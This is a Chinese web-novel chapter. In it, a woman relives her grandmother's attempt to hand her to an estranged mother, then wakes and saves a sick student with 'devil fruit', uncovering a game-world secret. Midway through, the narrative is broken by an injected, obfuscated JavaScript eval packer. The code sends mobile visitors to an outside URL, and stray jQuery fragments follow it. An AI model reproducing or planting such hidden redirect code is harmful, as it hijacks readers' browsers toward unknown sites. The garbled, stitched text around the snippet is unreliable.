“素素，醒醒，别睡了。起床收拾收拾咱们出发了。”
“这趟车赶不上下一趟要等到两个钟头，到城里半夜了。”
“素素，素素，快醒醒。”
声音朦胧而又飘渺的，悬在天边又好像近在跟前。
她费力地睁开双眼。
深陷的眼窝旁皱纹结着蛛网，密密麻麻的斑点仿佛植根于脸皮。花白的发丝垂落下来蹭着她的面颊，姜素的心跳漏跳了一拍，抬手将那缕碎发夹在指尖。粗糙而又干燥的，记忆中无数次束发时握在掌心的熟悉的杂草般的触感。
她失声呢喃：“阿婆。”
奶奶听见她叫自己，缓慢地伸出手细细在她的额头和头顶摩挲着。
“人清醒了伐？清醒就快点起床了。”
姜素怔忪了半刻。竟然分不清究竟梦是从哪一刻开始的，也无法确定现在是不是梦。
一种温暖又舒适得让人沉下来无法挣脱的感觉，将人完完全全地包裹了起来，是冬季寒风呼啸时热烘烘的被窝。
她嘤咛了一声，在奶奶的怀里坐起身来。
“醒了，我这就起。”她将床边放着的紫红色外套套在白T外边，拉链从头拉到最上边。
正值秋天，路旁边的金黄落叶铺成地毯，风吹进领子里还有点凉。
姜素两只手都提着便利市场的袋子，里面装着各种食物——腌制的酸萝卜，地里新鲜的青菜，土豆，大蒜苗，沉沉地往下坠着。
清晨村里人起得早，走到村口等公交的路上碰见很多老人打招呼，有些话也说不清楚。
她们并排坐在公交的双人座上，四五大袋的东西都搁在大腿上，将空间都挤压完两个人都动弹不得。还有两大袋放在脚边，奶奶用腿抵着用手虚拎着。
道路崎岖不平，公交摇摇晃晃。
白云路蓝天小区站到站时，她们提起东西下了车，在公交尾气之中看到正对着的“蓝天小区”的金色牌匾，天字没了一撇，小字掉漆成了灰色。
奶奶弯腰将带来的东西轻轻放在地上，从兜里掏出一张皱巴巴的纸头。上面的字迹已经晕染开，笔画晦涩难懂，还有些图案形状在上边。奶奶认真地看了很久，把纸头叠好又郑重藏进口袋里，提起东西终于在门口保安的注视下走进了小区。
姜素跟着奶奶走。
她们摸清楚路花了点时间，才终于找到了10幢2单元。
701。
门上没牌，但是对面是702。
奶奶敲了敲门没人应，就攥着拳一直敲。敲了很多下，里面终于有了点动静。门锁“咔哒”一声，姜素感觉到肩膀被不容置疑钳住，整个人被推到门前。
“燕红，我和素素过来了。”奶奶在背后说道。
然后窄窄的门缝慢慢打开，门往外开，她不得不往后退几步让出位置，但后背被奶奶抵住无法后退。于是门就只能保持在一个角度，只能侧身挤进去。
“傻孩子，快进门啊。”奶奶催促。
姜素侧身挤进门，站在玄关处慢吞吞将鞋脱下待在原地。
几大袋带来的东西都堆在玄关。
奶奶笑着说：“都是些蔬菜什么的村里的东西，昨天刚从地里摘下来，素素说要多带些，就所幸每样都带过来了。素素，怎么不出声，叫人啊。”
姜素抿了抿嘴，“妈妈。”
刘燕红不咸不淡地应了一声。视线轻飘飘地掠过她的脸，停在正在播放的搞笑节目的电视机上。
“这孩子，从小就怕生。”奶奶说。
她们坐在沙发旁边的塑料椅子上，奶奶和刘燕红聊着天。大多数时候是奶奶一个人说话，讲着以前一家子人住在一起的时候生活里的琐碎，村里哪个熟人最近发生的八卦，刘燕红就时不时应着，态度很冷淡。
说到最后，奶奶叹了一口气：“是中军对不住你，燕红。但是素素她毕竟是你的亲生女儿，你不能扔着她不管，亲母女哪有这样......”
“是我想要这样的吗！”刘燕红突然大声吼道。
“是你养的好儿子欠了一屁股赌债，现在倒好一个人逃了。他有顾及过我们的家庭吗？人家追上门来又砸又抢，把我娘家带来的镯子首饰都抢走，一个礼拜来五天威胁我还钱！”
“我受够了！”刘燕红的情绪涨到顶峰，而后慢慢回落平稳下来，“现在有男人要我，我不会带着这个拖油瓶的。她的身上和她爸一样留着白眼狼的血。”
她们连中午饭都没吃上，就被请出门。
她们站在路边，奶奶特别沉默。姜素望着面前偶尔轿车飞驰而过的道路，也默不作声。
突然，姜素伸出手攥住了奶奶的胳臂。老人往前迈步的动作被硬生生截断在原地，被拉扯着往后退了几步。此时一辆大货车遮云蔽日地驶过。
姜素记得这天。
她十五岁中考完暑假的那天。父亲下落不明，母亲另寻出路，她跟着奶奶生活。那天奶奶抱着最后一点希望能够将姜素托付出去，最后还是落了空。一个年逾古稀的老人，没了唯一的儿子留守在村里，还要为未成年的孩子谋划。
奶奶动了去死的念头。
上一次她没拦住，奶奶被车撞得半身不遂。
而这一次她拦住了，可惜是假的。
姜素冷眼看着面前的一切逐渐模糊远去，归于黑暗，再次睁开眼时，她就正躺在地下室客厅的地板上。
她拖着发麻的右腿，扶墙往前走了几步。昏暗的地下室里，只有一扇门虚掩，幽幽地透出点光。拿头抵开门，地上聚拢着一团黑气，艾希澈像是一具尸体般瘫死在地上。
“嘶——”姜素没扶稳跪倒在地，左膝盖被撞得麻木。挣扎着抓椅子仰起脖子，她拿手去探他的鼻息。所幸虽然微弱但还没断气。
“艾希澈——艾希澈——”她低声呼唤他。
他恹恹地哼出口气，但浑身还是僵直不动。
掌心传来额头滚烫的温度，没停留几秒，而后即刻被黑雾驱赶至五步以外。姜素吃痛地揉了揉手肘，只看见那团黑雾在他的头上盘旋不去，隐隐又冲破禁锢爆发的趋势。
“希澈。”她试探性地又叫了一声。
地上躺着的人有了点动静。他费力地睁开了眼皮的一条缝，转过头的时候侧边“砰”的一声撞在地板上，似乎并无知觉，所以连眉头也没有皱上一下。
“老师......救我，救，我......”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738884|207594||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他说话说得很费力，只能从嘴唇的翕动中吐出一些气音。
“怎么救你？”姜素问。
“进门，左手......边那间，柜子最，下面......一个黑色的袋子，给我。”说完一长句，他似乎累得快要背过身去，眼皮耷拉下来，嘴唇微微张着无法合上。
姜素用自己最快的速度将那个黑色的麻皮袋拖到卧室，麻皮袋很重，里面装得很满，袋子口用铁丝一圈圈缠绕扎住，无法窥见一丝。
艾希澈颤抖的手指抬起垂落，归于无声。
姜素解开了麻袋。她抬起眸子视线落在他的身上，他似乎提前有所准备那般闭上了双眼。
是恶魔果实。
不出所料但又意料之外。姜素说不清什么感受，只感觉有什么东西压在心脏上无法动弹。
“你需要它，是吗？”
他点头。
“吃了它能救你的命，对吗？”
他再次以轻微的幅度点头。
姜素将果实掰成四瓣，挑拣了最小的一块塞进他嘴里。
一刻之后，黑雾慢慢变得稳定下来，变小，变小，最后趴在他的胸前，融入皮肤消失不见了。艾希澈逐渐缓过气来，力气也慢慢恢复，身上的天赋力在晃荡的半桶水里逐渐涨高，伤疤以惊人的速度愈合。
半晌，他像个没事人似的站在面前。
手中的另外几瓣被他拿在掌心，囫囵吞咽下去。姜素攥住他又往袋里拿恶魔果实的手腕，皱眉道：“把今天发生的所有一切都告诉我。”
艾希澈没挣脱，只是松垮垮地笑：“告诉老师的话，你会可怜我吗？”
姜素不语，只是盯着他。
他问：“我能够相信老师吗？”
姜素缄默了一瞬开口：“我会努力让自己变成那个值得相信的人。”
艾希澈轻笑。
“似乎现在也没有办法隐瞒下去了。”
“我有病。”
他突然开口。
“我从出生起就患了不治之症，有人说我24岁就会死。”
“这些恶魔果实能够缓解你的痛苦，所以你每次病发都会吞食。”姜素说道，“可是你知道恶魔果实对天赋者的天赋域和精神会有多大的伤害吗，这种果实无法根治你的病情，甚至可能加速你的死亡。”
“能够缓解痛苦的话就好了，我无所谓副作用，毕竟也不一定能够活到那个时候。”艾希澈无所谓地耸了耸肩膀。
“我不想让别人知道这件事，希望老师能够替我保密。”
姜素没回答，突然发问：“你今年几岁了？”
“23？也许，好像。哦，没错，我今年23了。今年学院测了我的骨龄来着。”
她灵机一动：“生日呢？”
艾希澈古怪地看了她一眼，但还是诚实开口：“其实我也不知道。实际上这么多年，户籍本上一直写的是我被捡来的日期。唔——3月29日，真是个晦气的日子。”
姜素立刻打开系统面板，查看游戏的创建时间。
[公测开放时间：星元197年3月*日]
心底轰然倒塌。
她想她找到这个世界的救世主了。